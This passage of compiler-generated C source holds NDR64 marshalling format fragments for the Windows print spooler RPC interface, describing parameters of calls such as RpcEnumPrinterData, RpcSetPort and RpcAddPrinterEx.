0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag853_t __midl_frag853 =\n{ \n/* Opnum76NotUsedOnWire */\n    { \n    /* Opnum76NotUsedOnWire */      /* procedure Opnum76NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag840_t __midl_frag840 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag839_t __midl_frag839 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag840\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag838_t __midl_frag838 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag839\n};\n\nstatic const __midl_frag832_t __midl_frag832 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag831_t __midl_frag831 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag830_t __midl_frag830 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag832\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag830\n};\n\nstatic const __midl_frag827_t __midl_frag827 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag826_t __midl_frag826 =\n{ \n/* RpcEnumPrinterData */\n    { \n    /* RpcEnumPrinterData */      /* procedure RpcEnumPrinterData */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 80 /* 0x50 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwIndex */      /* parameter dwIndex */\n        &__midl_frag1087,\n        { \n        /* dwIndex */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag830,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbValueName */      /* parameter cbValueName */\n        &__midl_frag1082,\n        { \n        /* cbValueName */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbValueName */      /* parameter pcbValueName */\n        &__midl_frag1082,\n        { \n        /* pcbValueName */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag839,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pcbData */      /* parameter pcbData */\n        &__midl_frag1082,\n        { \n        /* pcbData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag824_t __midl_frag824 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag703\n};\n\nstatic const __midl_frag822_t __midl_frag822 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag819_t __midl_frag819 =\n{ \n/* RpcSetPort */\n    { \n    /* RpcSetPort */      /* procedure RpcSetPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag822,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag822,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag703,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag817_t __midl_frag817 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag816_t __midl_frag816 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag817\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* *SPLCLIENT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag793\n};\n\nstatic const __midl_frag814_t __midl_frag814 =\n{ \n/* *SECURITY_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag156\n};\n\nstatic const __midl_frag812_t __midl_frag812 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag809_t __midl_frag809 =\n{ \n/* RpcAddPrinterEx */\n    { \n    /* RpcAddPrinterEx */      /* procedure RpcAddPrinterEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag793,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag817,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag807_t __midl_frag807 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag804_t __midl_frag804 =\n{ \n/* SPLCLIENT_INFO_3 */\n    { \n    /* SPLCLIENT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag807,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag803_t __midl_frag803 =\n{ \n/* *SPLCLIENT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag804\n};\n\nstatic const __midl_frag802_t __midl_frag802 =\n{ \n/* SPLCLIENT_INFO_2 */\n    { \n    /* SPLCLIENT_INFO_2 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag801_t __midl_frag801 =\n{ \n/* *SPLCLIENT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag802\n};\n\nstatic const __midl_frag797_t __midl_frag797 =\n{ \n/* SPLCLIENT_INFO_1 */\n    { \n    /* SPLCLIENT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag807,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SPLCLIENT_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag796_t __midl_frag796 =\n{ \n/* *SPLCLIENT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag797\n};\n\nstatic const __midl_frag795_t __midl_frag795 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag794_t __midl_frag794 =\n{ \n/* __MIDL_winspool_0010 */\n    { \n    /* __MIDL_winspool_0010 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6, 